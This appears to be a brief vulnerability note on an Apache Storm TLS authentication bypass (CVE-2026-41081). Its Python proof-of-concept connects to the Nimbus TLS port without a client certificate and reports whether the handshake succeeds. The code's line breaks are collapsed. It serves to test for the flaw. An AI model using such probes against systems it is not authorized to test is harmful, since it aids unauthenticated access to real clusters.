CVE-2026-41081 Apache Storm TLS认证绕过漏洞

import ssl import socket # Conceptual PoC for CVE-2026-41081 # Attempt to connect to Apache Storm Nimbus/TLS port without presenting a client certificate. # If the server accepts the connection and assigns 'CN=ANONYMOUS', the vulnerability is confirmed. def check_vulnerability(host, port): context = ssl.create_default_context() # Do not load client certs to simulate unauthenticated client context.check_hostname = False context.verify_mode = ssl.CERT_NONE # For testing purposes only try: with socket.create_connection((host, port)) as sock: with context.wrap_socket(sock, server_hostname=host) as ssock: print(f"[+] Connected to {host}:{port}") # If connected, check logs or behavior to see if Principal is ANONYMOUS # Exploitation depends on whether the Authorizer allows ANONYMOUS access. print("[+] TLS Handshake successful without client certificate.") print("[!] Check server logs for assignment of CN=ANONYMOUS principal.") return True except Exception as e: print(f"[-] Connection failed: {e}") return False if __name__ == "__main__": target_host = "127.0.0.1" target_port = 6627 # Default Storm Nimbus TLS port check_vulnerability(target_host, target_port)